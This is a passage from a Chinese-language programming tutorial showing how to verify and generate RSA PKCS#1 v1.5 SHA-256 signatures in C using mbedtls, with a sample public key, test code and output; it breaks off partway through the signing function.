<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">KYiZF/C18O3wgCZvDptfM8Vh/OPMrcAf6ne9eszSuxgGMK57cKCQuWc33JF8iQmKWrSo+ezzkPJIfXGTj3z3Js9vv1DC2tX3oBh9CdZF+yc5MqZAT5LEEqmwNKWiT4iNwwnbXiJtNSy8/T2PRRN0PBy/TZn3HKc1AMKMYMLUjf8=
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="在c中验证签名">在c中验证签名</h2>
<p>在c中使用 mbedtls 库进行签名验签，使用到 pk.h、md.h 和 base64.h 这几个头文件定义的接口。</p>
<p>先定义和实现验证签名的接口 rsa_pkcs1v15_sha256_verify，输入参数有原始消息 msg，PEM 格式的公钥 public_key_pem，以及base64 编码后的签名数据 sign_base64。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/pk.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/md.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;mbedtls/base64.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cm">/**
</span></span></span><span class="line"><span class="cl"><span class="cm"> * @brief rsa_pkcs1v15_sha256_verify
</span></span></span><span class="line"><span class="cl"><span class="cm"> * 
</span></span></span><span class="line"><span class="cl"><span class="cm"> * @param [in] msg
</span></span></span><span class="line"><span class="cl"><span class="cm"> * @param [in] msg_len
</span></span></span><span class="line"><span class="cl"><span class="cm"> * @param [in] public_key_pem
</span></span></span><span class="line"><span class="cl"><span class="cm"> * @param [in] sign_base64
</span></span></span><span class="line"><span class="cl"><span class="cm"> * @return int 
</span></span></span><span class="line"><span class="cl"><span class="cm"> *  -- 0  verify pass
</span></span></span><span class="line"><span class="cl"><span class="cm"> *  -- -1 verify faild
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">rsa_pkcs1v15_sha256_verify</span><span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">msg_len</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                               <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">public_key_pem</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">sign_base64</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_pk_context</span> <span class="n">pk</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">hash</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">sign_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">b64out_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">b64out_data</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 初始化上下文
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">mbedtls_pk_init</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">pk</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 导入公钥
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_pk_parse_public_key</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pk</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">public_key_pem</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">public_key_pem</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 对需要验签的数据进行 sha256 计算，生成消息摘要数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_md</span><span class="p">(</span><span class="nf">mbedtls_md_info_from_type</span><span class="p">(</span> <span class="n">MBEDTLS_MD_SHA256</span> <span class="p">),</span>
</span></span><span class="line"><span class="cl">                     <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">msg</span><span class="p">,</span> <span class="n">msg_len</span><span class="p">,</span> <span class="n">hash</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 对原始签名数据进行 base64 解码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">sign_len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">sign_base64</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">b64out_data</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">sign_len</span><span class="o">*</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memset</span><span class="p">(</span><span class="n">b64out_data</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">sign_len</span><span class="o">*</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_base64_decode</span><span class="p">(</span><span class="n">b64out_data</span><span class="p">,</span> <span class="n">sign_len</span><span class="o">*</span><span class="mi">2</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">b64out_len</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">sign_base64</span><span class="p">,</span> <span class="n">sign_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 验证签名
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_pk_verify</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pk</span><span class="p">,</span> <span class="n">MBEDTLS_MD_SHA256</span><span class="p">,</span> <span class="n">hash</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">hash</span><span class="p">),</span> <span class="n">b64out_data</span><span class="p">,</span> <span class="n">b64out_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">exit</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">b64out_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">b64out_data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_pk_free</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">pk</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>测试验签代码如下</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">test_rsa_pkcs1_verify</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 公钥
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="o">*</span><span class="n">pub_key</span> <span class="o">=</span> <span class="s">&#34;-----BEGIN PUBLIC KEY-----</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s">&#34;MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDTt8tp4xNp29CMxy6QS0NzpR6t</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s">&#34;8bAcv7ei3NkVM/Nzg3K5wWZRaBTMovbzKCXdXYdC6GutVkG+CEetO3XHM4LhDqW0</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s">&#34;vwISTO65/XrvR3zqXD5ZjrJFmtCAvkCwtMAPjqXZ/RJnd8yrXuoz5cRqVgKmq5TZ</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s">&#34;lGIIiTPIklxGIGof8QIDAQAB</span><span class="se">\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="s">&#34;-----END PUBLIC KEY-----&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 原始消息
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="o">*</span><span class="n">msg</span> <span class="o">=</span> <span class="s">&#34;A message for signing&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// base64 编码之后的签名数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">char</span> <span class="o">*</span> <span class="n">sign</span> <span class="o">=</span> <span class="s">&#34;KYiZF/C18O3wgCZvDptfM8Vh/OPMrcAf6ne9eszSuxgGMK57cKCQuWc33JF8iQmKWrSo&#34;</span>
</span></span><span class="line"><span class="cl">                  <span class="s">&#34;+ezzkPJIfXGTj3z3Js9vv1DC2tX3oBh9CdZF+yc5MqZAT5LEEqmwNKWiT4iNwwnbXiJt&#34;</span>
</span></span><span class="line"><span class="cl">                  <span class="s">&#34;NSy8/T2PRRN0PBy/TZn3HKc1AMKMYMLUjf8=&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">rsa_pkcs1v15_sha256_verify</span><span class="p">((</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">msg</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">msg</span><span class="p">),</span> <span class="n">pub_key</span><span class="p">,</span> <span class="n">sign</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;rsa_pkcs1v15_sha256_verify ret=%d</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>输出，返回值为0，验签成功。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">rsa_pkcs1v15_sha256_verify ret=0
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="在c中生成签名">在c中生成签名</h2>
<p>定义生成签名的接口 rsa_pkcs1v15_sha256_sign，输入参数有原始数据msg、用于签名的私钥priavte_key_pem、保存签名输出数据的地址sign_base64。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span><span class="lnt">90
</span><span class="lnt">91
</span><span class="lnt">92
</span><span class="lnt">93
</span><span class="lnt">94
</span><span class="lnt">95
</span><span class="lnt">96
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">rsa_pkcs1v15_sha256_sign</span><span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">msg_len</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                               <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">priavte_key_pem</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">sign_base64</span><span class="p">,</span> <span class="kt">int</span> <span class="n">sign_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_pk_context</span> <span class="n">pk</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_entropy_context</span> <span class="n">entropy</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mbedtls_ctr_drbg_context</span> <span class="n">ctr_drbg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">sig_buff</span><span class="p">[</span><span class="n">SIGNATURE_MAX_SIZE</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">hash</span><span class="p">[</span><span class="mi">32</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">sig_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="o">*</span><span class="n">b64_out</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">b64_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pers</span> <span class="o">=</span> <span class="s">&#34;mbedtls_pk_sign&#34;</span><span class="p">;</span>       <span class="c1">// Personalization data,
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// that is device-specific identifiers. Can be NULL.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 初始化随机数生成器
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">mbedtls_entropy_init</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">entropy</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ctr_drbg_init</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">ctr_drbg</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">//初始化上下文
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">mbedtls_pk_init</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">pk</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ctr_drbg_seed</span><span class="p">(</span> <span class="o">&amp;</span><span class="n">ctr_drbg</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                           <span class="n">mbedtls_entropy_func</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                           <span class="o">&amp;</span><span class="n">entropy</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                           <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="n">pers</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                           <span class="nf">strlen</span><span class="p">(</span> <span class="n">pers</span> <span class="p">)</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">//导入私钥
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_pk_parse_key</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pk</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">priavte_key_pem</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                               <span class="nf">strlen</span><span class="p">(</span><span class="n">priavte_key_pem</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                               <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 计算 sha256 消息摘要
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_md</span><span class="p">(</span><span class="nf">mbedtls_md_info_from_type</span><span class="p">(</span> <span class="n">MBEDTLS_MD_SHA256</span> <span class="p">),</span>
</span></span><span class="line"><span class="cl">                     <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">msg</span><span class="p">,</span> <span class="n">msg_len</span><span class="p">,</span> <span class="n">hash</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 签名
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_pk_sign</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pk</span><span class="p">,</span> <span class="n">MBEDTLS_MD_SHA256</span><span class="p">,</span> <span class="n">hash</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">hash</span><span class="p">),</span> <span class="n">sig_buff</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sig_len</span><span class="p">,</span> <span class="n">mbedtls_ctr_drbg_random</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctr_drbg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">b64_out</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">sig_len</span><span class="o">*</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">b64_out</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 对签名数据进行 base64 编码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_base64_encode</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">b64_out</span><span class="p">,</span> <span class="n">sig_len</span><span class="o">*</span><span class="mi">2</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="p">(</span><span class="kt">size_t</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">b64_len</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">sig_buff</span><span class="p">,</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="n">sig_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">sign_len</span><span class="o">&lt;</span><span class="n">b64_len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
